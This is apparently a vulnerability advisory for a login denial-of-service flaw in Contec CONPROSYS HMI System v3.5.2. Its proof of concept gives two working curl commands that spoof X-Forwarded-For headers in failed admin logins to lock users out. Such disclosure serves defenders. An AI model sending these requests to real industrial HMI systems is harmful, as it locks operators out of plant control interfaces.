Contec CONPROSYS HMI System Login DoS

A denial of service vulnerability exists in Contec CONPROSYS HMI System (CHS) v3.5.2. An unauthenticated remote attacker can exploit it to prevent legitimate users from logging in from the attacker-specified IP addresses for hours if the time zones configured in PHP and PostgreSQL are different. The attacker can repeat the attack to cause login DoS for an extended period of time.


Proof of Concept
Prevent logins from localhost.
Set "date.timezone" to "UTC" in php.ini and "America/New_York" in PostgreSQL to ensure differing timezones.
On a separate host, run:
# curl -H "X-Forwarded-For: ::1" -d 'uid=admin&pwd=aaa' 'http://<chs-host>/php/login.php?cid=con&pid=admin&type=admin,user&nname=1&lang=en'
# curl -H "X-Forwarded-For: 127.0.0.1" -d 'uid=admin&pwd=aaa' 'http://<chs-host>/php/login.php?cid=con&pid=admin&type=admin,user&nname=1&lang=en'

On the CHS host using a web browser, try to login to http://localhost/ with valid credentials for ProjectID admin. Valid users with correct credentials should not able to login from that host.